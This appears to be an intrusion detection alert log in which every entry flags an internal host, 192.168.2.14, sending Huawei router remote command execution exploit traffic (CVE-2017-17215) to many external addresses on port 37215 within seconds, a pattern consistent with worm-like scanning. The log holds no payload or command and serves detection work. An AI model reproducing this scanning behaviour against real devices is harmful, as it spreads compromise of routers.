2024-10-08T20:35:55.084309+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38040	156.40.88.215	37215	TCP
2024-10-08T20:35:55.084562+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52094	41.254.229.53	37215	TCP
2024-10-08T20:35:55.084974+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46104	197.20.8.45	37215	TCP
2024-10-08T20:35:55.084993+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58442	156.150.160.49	37215	TCP
2024-10-08T20:35:55.085038+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36570	41.223.43.41	37215	TCP
2024-10-08T20:35:55.087516+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59136	197.246.114.178	37215	TCP
2024-10-08T20:35:55.089059+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54456	197.147.98.148	37215	TCP
2024-10-08T20:35:55.108334+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58940	197.117.9.233	37215	TCP
2024-10-08T20:35:55.108396+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59894	41.205.145.98	37215	TCP
2024-10-08T20:35:55.108681+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57502	41.190.126.85	37215	TCP
2024-10-08T20:35:56.068427+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60824	156.87.58.209	37215	TCP
2024-10-08T20:35:56.083030+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40552	197.196.123.18	37215	TCP
2024-10-08T20:35:56.105016+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41062	156.211.182.119	37215	TCP
2024-10-08T20:35:56.114205+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42358	197.119.43.104	37215	TCP
2024-10-08T20:35:56.114912+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55302	156.244.194.204	37215	TCP
2024-10-08T20:35:56.115423+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54890	156.37.236.80	37215	TCP
2024-10-08T20:35:56.120259+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35492	197.159.243.80	37215	TCP
2024-10-08T20:35:57.083070+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56356	197.228.22.77	37215	TCP
2024-10-08T20:35:57.083460+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44402	197.7.165.7	37215	TCP
2024-10-08T20:35:57.084163+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52020	197.145.102.112	37215	TCP
2024-10-08T20:35:57.099336+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57352	156.185.159.180	37215	TCP
2024-10-08T20:35:57.100507+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57016	197.14.216.120	37215	TCP
2024-10-08T20:35:57.116093+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33780	156.25.216.140	37215	TCP
2024-10-08T20:35:57.119914+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52326	156.170.161.89	37215	TCP
2024-10-08T20:35:57.129677+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33976	156.38.112.241	37215	TCP
2024-10-08T20:35:57.129678+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40048	41.165.161.254	37215	TCP
2024-10-08T20:35:57.129678+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47124	197.219.20.171	37215	TCP
2024-10-08T20:35:57.130120+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46020	197.145.237.205	37215	TCP
2024-10-08T20:35:57.131323+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34432	197.112.11.201	37215	TCP
2024-10-08T20:35:57.131863+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46110	41.185.93.12	37215	TCP
2024-10-08T20:35:57.133271+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40992	41.53.104.123	37215	TCP
2024-10-08T20:35:57.133408+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48174	197.244.241.97	37215	TCP
2024-10-08T20:35:57.134464+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56776	41.217.189.37	37215	TCP
2024-10-08T20:35:57.145229+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34708	197.127.208.117	37215	TCP
2024-10-08T20:35:57.145628+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45382	41.230.127.54	37215	TCP
2024-10-08T20:35:57.145952+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53286	197.50.189.132	37215	TCP
2024-10-08T20:35:57.146051+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34490	41.55.95.103	37215	TCP
2024-10-08T20:35:57.146822+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36428	156.156.78.131	37215	TCP
2024-10-08T20:35:57.146991+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33980	156.7.14.197	37215	TCP
2024-10-08T20:35:57.147409+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58226	156.59.235.218	37215	TCP
2024-10-08T20:35:57.147414+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37898	41.152.44.72	37215	TCP
2024-10-08T20:35:57.149026+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33380	197.215.65.141	37215	TCP
2024-10-08T20:35:57.150075+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48736	41.43.215.51	37215	TCP
2024-10-08T20:35:57.162493+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48702	197.52.43.142	37215	TCP
2024-10-08T20:35:57.162668+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36732	41.55.6.231	37215	TCP
2024-10-08T20:35:57.162867+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40450	41.97.91.246	37215	TCP
2024-10-08T20:35:57.164268+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45450	197.2.134.46	37215	TCP
2024-10-08T20:35:57.164448+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55808	156.164.199.158	37215	TCP
2024-10-08T20:35:57.165196+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44948	156.69.25.235	37215	TCP
2024-10-08T20:35:57.165356+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40086	156.84.124.67	37215	TCP
2024-10-08T20:35:57.166796+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55084	197.216.185.95	37215	TCP
2024-10-08T20:35:57.168494+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52980	41.35.92.40	37215	TCP
2024-10-08T20:35:57.168494+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46584	41.251.53.172	37215	TCP
2024-10-08T20:35:57.168523+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59130	156.31.31.185	37215	TCP
2024-10-08T20:35:57.168774+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50976	156.178.173.182	37215	TCP
2024-10-08T20:35:57.169453+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41520	41.252.70.150	37215	TCP
2024-10-08T20:35:57.169650+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57084	156.140.174.116	37215	TCP
2024-10-08T20:35:57.170448+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43068	197.49.128.71	37215	TCP
2024-10-08T20:35:57.170544+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33974	41.137.113.176	37215	TCP
2024-10-08T20:35:57.172927+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53930	41.88.30.137	37215	TCP
2024-10-08T20:35:57.172960+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34016	41.86.96.198	37215	TCP
2024-10-08T20:35:57.373345+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53334	156.73.185.103	37215	TCP
2024-10-08T20:35:58.129441+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35974	197.97.81.15	37215	TCP
2024-10-08T20:35:58.129875+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51806	156.244.59.34	37215	TCP
2024-10-08T20:35:58.169038+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48056	197.31.254.58	37215	TCP
2024-10-08T20:35:59.114480+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34210	197.204.48.17	37215	TCP
2024-10-08T20:35:59.129946+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36330	41.99.88.93	37215	TCP
2024-10-08T20:35:59.130224+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51194	156.77.158.97	37215	TCP
2024-10-08T20:35:59.130288+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57444	156.77.177.221	37215	TCP
2024-10-08T20:35:59.130577+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56236	197.176.244.62	37215	TCP
2024-10-08T20:35:59.130587+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48290	197.202.92.3	37215	TCP
2024-10-08T20:35:59.130741+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36722	41.81.205.78	37215	TCP
2024-10-08T20:35:59.131100+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34928	41.119.176.242	37215	TCP
2024-10-08T20:35:59.131113+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44434	197.52.215.255	37215	TCP
2024-10-08T20:35:59.131636+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52048	156.68.194.75	37215	TCP
2024-10-08T20:35:59.132055+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33440	41.43.77.22	37215	TCP
2024-10-08T20:35:59.132442+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58314	156.227.249.75	37215	TCP
2024-10-08T20:35:59.132442+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54042	41.155.126.162	37215	TCP
2024-10-08T20:35:59.133093+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41420	197.33.163.105	37215	TCP
2024-10-08T20:35:59.133108+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50558	156.226.226.100	37215	TCP
2024-10-08T20:35:59.133124+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43238	41.222.50.159	37215	TCP
2024-10-08T20:35:59.133139+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32898	156.56.206.20	37215	TCP
2024-10-08T20:35:59.133174+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56294	197.64.96.49	37215	TCP
2024-10-08T20:35:59.133800+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57166	197.242.176.150	37215	TCP
2024-10-08T20:35:59.133813+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34494	41.212.118.94	37215	TCP
2024-10-08T20:35:59.133829+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39236	156.175.163.178	37215	TCP
2024-10-08T20:35:59.134367+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60662	197.91.239.48	37215	TCP
2024-10-08T20:35:59.134374+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36528	197.117.227.143	37215	TCP
2024-10-08T20:35:59.136087+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51996	197.58.96.174	37215	TCP
2024-10-08T20:35:59.145692+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35646	41.38.224.192	37215	TCP
2024-10-08T20:35:59.146064+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45942	197.123.168.231	37215	TCP
2024-10-08T20:35:59.147020+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42914	197.176.12.92	37215	TCP
2024-10-08T20:35:59.147222+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51410	197.72.165.58	37215	TCP
2024-10-08T20:35:59.147479+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38590	197.181.231.217	37215	TCP
2024-10-08T20:35:59.148007+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53400	197.14.81.91	37215	TCP
2024-10-08T20:35:59.149534+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35726	197.87.234.12	37215	TCP
2024-10-08T20:35:59.149829+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47938	197.169.38.238	37215	TCP
2024-10-08T20:35:59.150163+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49340	41.35.60.93	37215	TCP
2024-10-08T20:35:59.150362+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33692	156.168.180.156	37215	TCP
2024-10-08T20:35:59.150365+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48500	197.133.248.242	37215	TCP
2024-10-08T20:35:59.150450+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42834	197.235.178.101	37215	TCP
2024-10-08T20:35:59.150675+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36654	156.156.182.133	37215	TCP
2024-10-08T20:35:59.150680+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60760	41.45.131.122	37215	TCP
2024-10-08T20:35:59.150709+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45050	197.8.56.45	37215	TCP
2024-10-08T20:35:59.150709+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46760	197.192.214.142	37215	TCP
2024-10-08T20:35:59.150802+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45452	197.234.133.204	37215	TCP
2024-10-08T20:35:59.150957+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49800	41.80.198.14	37215	TCP
2024-10-08T20:35:59.151611+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57498	41.200.0.225	37215	TCP
2024-10-08T20:35:59.151660+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51496	41.134.135.9	37215	TCP
2024-10-08T20:35:59.151734+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44248	156.209.231.134	37215	TCP
2024-10-08T20:35:59.151735+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44992	41.113.151.93	37215	TCP
2024-10-08T20:35:59.151932+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39760	197.113.156.185	37215	TCP
2024-10-08T20:35:59.152054+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59382	41.153.121.229	37215	TCP
2024-10-08T20:35:59.152550+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38074	156.253.94.126	37215	TCP
2024-10-08T20:35:59.196220+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48514	156.29.142.171	37215	TCP
2024-10-08T20:36:00.162395+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52918	156.99.236.82	37215	TCP
2024-10-08T20:36:01.226456+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33960	197.241.198.212	37215	TCP
2024-10-08T20:36:02.193761+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47040	197.192.90.253	37215	TCP
2024-10-08T20:36:02.193841+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50570	156.170.78.248	37215	TCP
2024-10-08T20:36:02.212897+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42344	197.138.159.191	37215	TCP
2024-10-08T20:36:02.269169+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52798	197.115.38.198	37215	TCP
2024-10-08T20:36:02.269367+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45382	197.0.132.69	37215	TCP
2024-10-08T20:36:03.261563+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49368	156.109.166.22	37215	TCP
2024-10-08T20:36:04.260380+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54904	197.109.45.89	37215	TCP
2024-10-08T20:36:04.260384+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47306	41.30.31.41	37215	TCP
2024-10-08T20:36:04.260538+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56626	197.114.35.129	37215	TCP
2024-10-08T20:36:04.260623+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49506	197.220.12.164	37215	TCP
2024-10-08T20:36:04.260721+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53316	41.48.176.21	37215	TCP
2024-10-08T20:36:04.260729+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47370	197.195.143.158	37215	TCP
2024-10-08T20:36:04.262007+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45574	156.82.77.173	37215	TCP
2024-10-08T20:36:04.262098+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56392	197.47.158.190	37215	TCP
2024-10-08T20:36:04.262181+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59476	41.192.141.179	37215	TCP
2024-10-08T20:36:04.262200+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34312	41.148.215.172	37215	TCP
2024-10-08T20:36:04.262297+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39474	197.11.101.96	37215	TCP
2024-10-08T20:36:04.262411+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32988	197.141.154.171	37215	TCP
2024-10-08T20:36:04.262593+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56454	41.208.142.15	37215	TCP
2024-10-08T20:36:04.262663+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50866	41.232.32.28	37215	TCP
2024-10-08T20:36:04.262700+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34364	156.194.5.201	37215	TCP
2024-10-08T20:36:04.263303+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44494	41.41.211.152	37215	TCP
2024-10-08T20:36:04.263319+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40348	197.233.118.121	37215	TCP
2024-10-08T20:36:04.263427+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59808	41.26.96.53	37215	TCP
2024-10-08T20:36:04.263494+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46282	41.143.18.61	37215	TCP
2024-10-08T20:36:04.263727+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33906	156.237.242.195	37215	TCP
2024-10-08T20:36:04.263743+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44756	197.221.173.57	37215	TCP
2024-10-08T20:36:04.263843+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59814	197.51.166.11	37215	TCP
2024-10-08T20:36:04.263934+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45730	156.220.21.235	37215	TCP
2024-10-08T20:36:04.264101+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43934	156.139.146.249	37215	TCP
2024-10-08T20:36:04.264108+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50686	197.107.11.228	37215	TCP
2024-10-08T20:36:04.264296+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48442	41.62.170.117	37215	TCP
2024-10-08T20:36:04.264309+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56246	197.228.161.164	37215	TCP
2024-10-08T20:36:04.264355+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53146	156.156.140.164	37215	TCP
2024-10-08T20:36:04.264535+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36114	41.35.184.46	37215	TCP
2024-10-08T20:36:04.264601+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45414	197.10.130.189	37215	TCP
2024-10-08T20:36:04.264741+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53452	156.132.67.44	37215	TCP
2024-10-08T20:36:04.264986+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40666	156.30.186.232	37215	TCP
2024-10-08T20:36:04.265281+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44460	41.226.246.217	37215	TCP
2024-10-08T20:36:04.265297+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60276	156.119.53.139	37215	TCP
2024-10-08T20:36:04.266544+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38402	197.34.77.154	37215	TCP
2024-10-08T20:36:04.266847+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48424	41.237.181.238	37215	TCP
2024-10-08T20:36:04.267021+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58182	197.246.232.50	37215	TCP
2024-10-08T20:36:04.269938+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53364	156.107.202.201	37215	TCP
2024-10-08T20:36:04.271031+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41958	41.242.21.184	37215	TCP
2024-10-08T20:36:04.271048+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43170	41.208.166.240	37215	TCP
